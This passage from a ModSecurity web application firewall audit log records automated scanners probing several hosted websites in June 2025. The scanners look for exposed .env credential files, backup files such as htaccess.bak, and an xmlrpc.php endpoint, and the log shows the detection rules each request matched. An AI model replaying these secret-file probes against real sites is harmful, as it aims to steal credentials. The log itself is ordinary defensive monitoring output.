"www.sarainternational.ae"] [uri "/v1/.env%20"] [unique_id "aE9zXOMjvy_LHXlMeRASHgAAAAU"] Stopwatch: 1750037340587520 3461 (- - -) Stopwatch2: 1750037340587520 3461; combined=2064, p1=388, p2=1621, p3=0, p4=0, p5=55, sr=99, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --42ccd255-Z-- --e879406d-A-- [16/Jun/2025:06:59:03.990370 +0530] aE9zX_vF1ly0gx5reNmBXgAAAAE 54.206.199.238 57268 127.0.0.1 7081 --e879406d-B-- GET /laravel/.env HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 54.206.199.238 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* --e879406d-F-- HTTP/1.1 404 Not Found Last-Modified: Wed, 04 Sep 2024 11:42:46 GMT ETag: "328-62149ac424b46" Accept-Ranges: bytes Content-Length: 808 Connection: close Content-Type: text/html --e879406d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.sarainternational.ae"] [uri "/laravel/.env"] [unique_id "aE9zX_vF1ly0gx5reNmBXgAAAAE"] Stopwatch: 1750037343987081 3355 (- - -) Stopwatch2: 1750037343987081 3355; combined=1979, p1=372, p2=1552, p3=0, p4=0, p5=55, sr=92, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e879406d-Z-- --c590e749-A-- [16/Jun/2025:06:59:06.978300 +0530] aE9zYuMjvy_LHXlMeRASIQAAAAU 54.206.199.238 57362 127.0.0.1 7081 --c590e749-B-- GET /api/.env HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 54.206.199.238 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* --c590e749-F-- HTTP/1.1 404 Not Found Last-Modified: Wed, 04 Sep 2024 11:42:46 GMT ETag: "328-62149ac424b46" Accept-Ranges: bytes Content-Length: 808 Connection: close Content-Type: text/html --c590e749-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.sarainternational.ae"] [uri "/api/.env"] [unique_id "aE9zYuMjvy_LHXlMeRASIQAAAAU"] Stopwatch: 1750037346975355 3000 (- - -) Stopwatch2: 1750037346975355 3000; combined=1678, p1=414, p2=1211, p3=0, p4=0, p5=53, sr=110, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c590e749-Z-- --3b39291f-A-- [16/Jun/2025:06:59:09.724749 +0530] aE9zZfbo0R64L12N_alb7AAAAAQ 54.206.199.238 47994 127.0.0.1 7081 --3b39291f-B-- GET /vendor/.env HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 54.206.199.238 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* --3b39291f-F-- HTTP/1.1 404 Not Found Last-Modified: Wed, 04 Sep 2024 11:42:46 GMT ETag: "328-62149ac424b46" Accept-Ranges: bytes Content-Length: 808 Connection: close Content-Type: text/html --3b39291f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.sarainternational.ae"] [uri "/vendor/.env"] [unique_id "aE9zZfbo0R64L12N_alb7AAAAAQ"] Stopwatch: 1750037349721852 2953 (- - -) Stopwatch2: 1750037349721852 2953; combined=1683, p1=393, p2=1239, p3=0, p4=0, p5=51, sr=105, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3b39291f-Z-- --c699a862-A-- [16/Jun/2025:06:59:15.120129 +0530] aE9za-Mjvy_LHXlMeRASJQAAAAU 54.206.199.238 48280 127.0.0.1 7081 --c699a862-B-- GET /local/.env HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 54.206.199.238 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* --c699a862-F-- HTTP/1.1 404 Not Found Last-Modified: Wed, 04 Sep 2024 11:42:46 GMT ETag: "328-62149ac424b46" Accept-Ranges: bytes Content-Length: 808 Connection: close Content-Type: text/html --c699a862-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.sarainternational.ae"] [uri "/local/.env"] [unique_id "aE9za-Mjvy_LHXlMeRASJQAAAAU"] Stopwatch: 1750037355116800 3386 (- - -) Stopwatch2: 1750037355116800 3386; combined=2035, p1=393, p2=1581, p3=0, p4=0, p5=61, sr=93, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c699a862-Z-- --23f9f772-A-- [16/Jun/2025:06:59:16.889356 +0530] aE9zbLoFnONBt7jRcByUVQAAAA4 185.177.72.210 48314 127.0.0.1 7081 --23f9f772-B-- GET /:8000/front-empathy/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --23f9f772-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5a6f9fa7f5b25ca1eed8900f05db7ee81750037356; expires=Mon, 16 Jun 2025 02:29:16 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --23f9f772-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/front-empathy/.env"] [unique_id "aE9zbLoFnONBt7jRcByUVQAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037356205120 684302 (- - -) Stopwatch2: 1750037356205120 684302; combined=1831, p1=348, p2=1388, p3=0, p4=0, p5=94, sr=83, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --23f9f772-Z-- --280dc33b-A-- [16/Jun/2025:06:59:19.990893 +0530] aE9zb_vF1ly0gx5reNmBZgAAAAE 185.177.72.210 59138 127.0.0.1 7081 --280dc33b-B-- GET /htaccess.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --280dc33b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9575d5c0d251e8eb63c88dbd5532218c1750037359; expires=Mon, 16 Jun 2025 02:29:19 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --280dc33b-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/htaccess.bak"] [unique_id "aE9zb_vF1ly0gx5reNmBZgAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037359313484 677484 (- - -) Stopwatch2: 1750037359313484 677484; combined=2182, p1=408, p2=1681, p3=0, p4=0, p5=92, sr=110, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --280dc33b-Z-- --2faf847d-A-- [16/Jun/2025:06:59:20.030238 +0530] aE9zcOhCUAahT1nBjTYNzAAAAAM 54.206.199.238 59176 127.0.0.1 7081 --2faf847d-B-- GET /web/.env HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 54.206.199.238 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* --2faf847d-F-- HTTP/1.1 404 Not Found Last-Modified: Wed, 04 Sep 2024 11:42:46 GMT ETag: "328-62149ac424b46" Accept-Ranges: bytes Content-Length: 808 Connection: close Content-Type: text/html --2faf847d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.sarainternational.ae"] [uri "/web/.env"] [unique_id "aE9zcOhCUAahT1nBjTYNzAAAAAM"] Stopwatch: 1750037360026985 3309 (- - -) Stopwatch2: 1750037360026985 3309; combined=1950, p1=396, p2=1498, p3=0, p4=0, p5=55, sr=102, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2faf847d-Z-- --38611b62-A-- [16/Jun/2025:06:59:23.676177 +0530] aE9zc4kQyF8-ounHsxsFaAAAAA8 54.206.199.238 59304 127.0.0.1 7081 --38611b62-B-- GET /home/.env HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 54.206.199.238 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* --38611b62-F-- HTTP/1.1 404 Not Found Last-Modified: Wed, 04 Sep 2024 11:42:46 GMT ETag: "328-62149ac424b46" Accept-Ranges: bytes Content-Length: 808 Connection: close Content-Type: text/html --38611b62-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.sarainternational.ae"] [uri "/home/.env"] [unique_id "aE9zc4kQyF8-ounHsxsFaAAAAA8"] Stopwatch: 1750037363673031 3203 (- - -) Stopwatch2: 1750037363673031 3203; combined=1832, p1=382, p2=1394, p3=0, p4=0, p5=56, sr=100, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --38611b62-Z-- --98605d53-A-- [16/Jun/2025:06:59:24.239289 +0530] aE9zc_v_9qNKLXJRkuZd-QAAAAs 185.177.72.210 59294 127.0.0.1 7081 --98605d53-B-- GET /app-order-client/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --98605d53-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=233d3ed72b1bd6e827998e4bac1632e91750037364; expires=Mon, 16 Jun 2025 02:29:24 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --98605d53-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/app-order-client/.env"] [unique_id "aE9zc_v_9qNKLXJRkuZd-QAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037363539924 699452 (- - -) Stopwatch2: 1750037363539924 699452; combined=1895, p1=411, p2=1370, p3=0, p4=0, p5=113, sr=96, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --98605d53-Z-- --23d7af28-A-- [16/Jun/2025:06:59:26.277861 +0530] aE9zdvbo0R64L12N_alb9QAAAAQ 54.206.199.238 59410 127.0.0.1 7081 --23d7af28-B-- GET /main/.env HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 54.206.199.238 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* --23d7af28-F-- HTTP/1.1 404 Not Found Last-Modified: Wed, 04 Sep 2024 11:42:46 GMT ETag: "328-62149ac424b46" Accept-Ranges: bytes Content-Length: 808 Connection: close Content-Type: text/html --23d7af28-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.sarainternational.ae"] [uri "/main/.env"] [unique_id "aE9zdvbo0R64L12N_alb9QAAAAQ"] Stopwatch: 1750037366274659 3258 (- - -) Stopwatch2: 1750037366274659 3258; combined=1893, p1=391, p2=1444, p3=0, p4=0, p5=58, sr=94, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --23d7af28-Z-- --726e180a-A-- [16/Jun/2025:06:59:26.398482 +0530] aE9zdboFnONBt7jRcByUWAAAAA4 185.177.72.210 59392 127.0.0.1 7081 --726e180a-B-- GET /tests/default_settings/v7.0/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --726e180a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3ae6857f3bd38871cee9568e39de93de1750037366; expires=Mon, 16 Jun 2025 02:29:26 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --726e180a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/tests/default_settings/v7.0/.env"] [unique_id "aE9zdboFnONBt7jRcByUWAAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037365743983 654562 (- - -) Stopwatch2: 1750037365743983 654562; combined=2388, p1=500, p2=1786, p3=0, p4=0, p5=102, sr=104, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --726e180a-Z-- --66373529-A-- [16/Jun/2025:06:59:28.103345 +0530] aE9zd_vF1ly0gx5reNmBaQAAAAE 128.199.112.101 59440 127.0.0.1 7081 --66373529-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 504 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --66373529-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --66373529-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9zd_vF1ly0gx5reNmBaQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037367165640 937762 (- - -) Stopwatch2: 1750037367165640 937762; combined=3010, p1=497, p2=2127, p3=39, p4=59, p5=180, sr=136, sw=108, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --66373529-Z-- --1e49a073-A-- [16/Jun/2025:06:59:29.813525 +0530] aE9zefbo0R64L12N_alb9wAAAAQ 54.206.199.238 47610 127.0.0.1 7081 --1e49a073-B-- GET /asset/.env HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 54.206.199.238 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* --1e49a073-F-- HTTP/1.1 404 Not Found Last-Modified: Wed, 04 Sep 2024 11:42:46 GMT ETag: "328-62149ac424b46" Accept-Ranges: bytes Content-Length: 808 Connection: close Content-Type: text/html --1e49a073-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.sarainternational.ae"] [uri "/asset/.env"] [unique_id "aE9zefbo0R64L12N_alb9wAAAAQ"] Stopwatch: 1750037369810798 2793 (- - -) Stopwatch2: 1750037369810798 2793; combined=1677, p1=305, p2=1321, p3=0, p4=0, p5=50, sr=74, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1e49a073-Z-- --b12fa274-A-- [16/Jun/2025:06:59:39.978088 +0530] aE9zg_v_9qNKLXJRkuZeAwAAAAs 185.177.72.210 38806 127.0.0.1 7081 --b12fa274-B-- GET /xampp/status.php.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b12fa274-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2343418afd92ccea2ede2f96a333f90e1750037379; expires=Mon, 16 Jun 2025 02:29:39 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b12fa274-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/xampp/status.php.old"] [unique_id "aE9zg_v_9qNKLXJRkuZeAwAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750037379312922 665230 (- - -) Stopwatch2: 1750037379312922 665230; combined=2082, p1=340, p2=1638, p3=0, p4=0, p5=104, sr=93, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b12fa274-Z-- --02770910-A-- [16/Jun/2025:06:59:41.001554 +0530] aE9zhPvF1ly0gx5reNmBcwAAAAE 185.177.72.210 38858 127.0.0.1 7081 --02770910-B-- GET /.env.php HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --02770910-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7da166fdb90d7a3ffbe04eb5e5342ed51750037380; expires=Mon, 16 Jun 2025 02:29:40 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --02770910-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.php"] [unique_id 